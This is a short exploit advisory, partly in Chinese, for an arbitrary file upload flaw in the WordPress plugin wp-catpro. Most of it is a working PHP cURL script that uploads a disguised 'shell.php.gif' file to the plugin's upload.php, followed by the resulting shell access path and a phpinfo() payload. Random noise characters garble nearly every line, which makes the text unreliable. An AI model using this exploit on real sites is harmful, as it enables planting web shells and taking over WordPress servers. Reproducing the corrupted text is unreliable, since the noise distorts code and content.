Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
5 k3 m, e! ~9 J5 l4 s#-----------------------------------------------------------------------
3 G& }' Q$ D# A8 l3 C3 f
" A/ i7 F$ a: J作者 => Zikou-16
/ T, v u0 F9 `1 s7 D邮箱 => zikou16x@gmail.com
$ x6 j9 p1 V3 R( t& H* O+ U测试系统 : Windows 7 , Backtrack 5r3
( e- z4 i. n2 e. a7 j+ N下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip, ]* E6 ?- ]: N7 @; c4 A. W1 C
#### o1 ?% n! R- g, C& Q" Y6 Z
9 H/ l8 i4 }& z. a2 S% I3 p. z#=> Exploit 信息:
. j2 o: [& [3 T* m; g------------------
9 z" ?0 x. w8 _! F/ v( Z. K# 攻击者可以上传 file/shell.php.gif) M' N0 ]9 m0 ?1 R! E9 R
# ("jpg", "gif", "png") // Allowed file extensions
3 e! k' O+ J+ s$ S) p/ j2 r! A# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)$ ^" m7 [% ^8 _% ]7 I; G
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
9 Q# M2 l8 v1 y0 k e0 }------------------
" C4 l# G; C9 `
0 p% W$ L: u8 I9 l* P' \#=> Exploit! ?( h* c$ u% \( Z- N/ w5 ~+ u' C
-----------5 L* d$ H8 {- n! C! |
<?php" D' d/ T# Z- ]* k5 W7 d, J
( O8 u" b, Z" L8 P& _5 @8 s) |
$uploadfile="zik.php.gif";2 ?* `3 ?# r: Y! K8 C
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");: R" X. B; R) M/ U! f
curl_setopt($ch, CURLOPT_POST, true);" Y3 d8 K5 d* S3 C4 C/ o
curl_setopt($ch, CURLOPT_POSTFIELDS,
0 @6 Y! l# j0 L2 G9 A4 m7 narray('Filedata'=>"@$uploadfile",
4 N2 N# T& w) k2 o' W9 e'folder'=>'/wp-content/uploads/catpro/'));. [) W) u, B O/ ]& A1 E0 w, D
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
& G! }# X$ f9 n6 `2 |$postResult = curl_exec($ch);5 `/ l& |8 z+ R; y' t+ M
curl_close($ch);% P$ X, z0 p0 T& g- c- Z# n( f
: S( t, \1 D A/ {: U$ ]
print "$postResult";! i4 @# \6 ~9 J2 b; d( A
$ K+ G. X& S# c& h
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
. I* T8 g" S, F ?>
4 d: ]! h: V! Z. l0 y/ \1 v B<?php8 w* P# J7 Z2 ^
phpinfo();
7 ~# f5 V: v( q: R* [, T' {?> |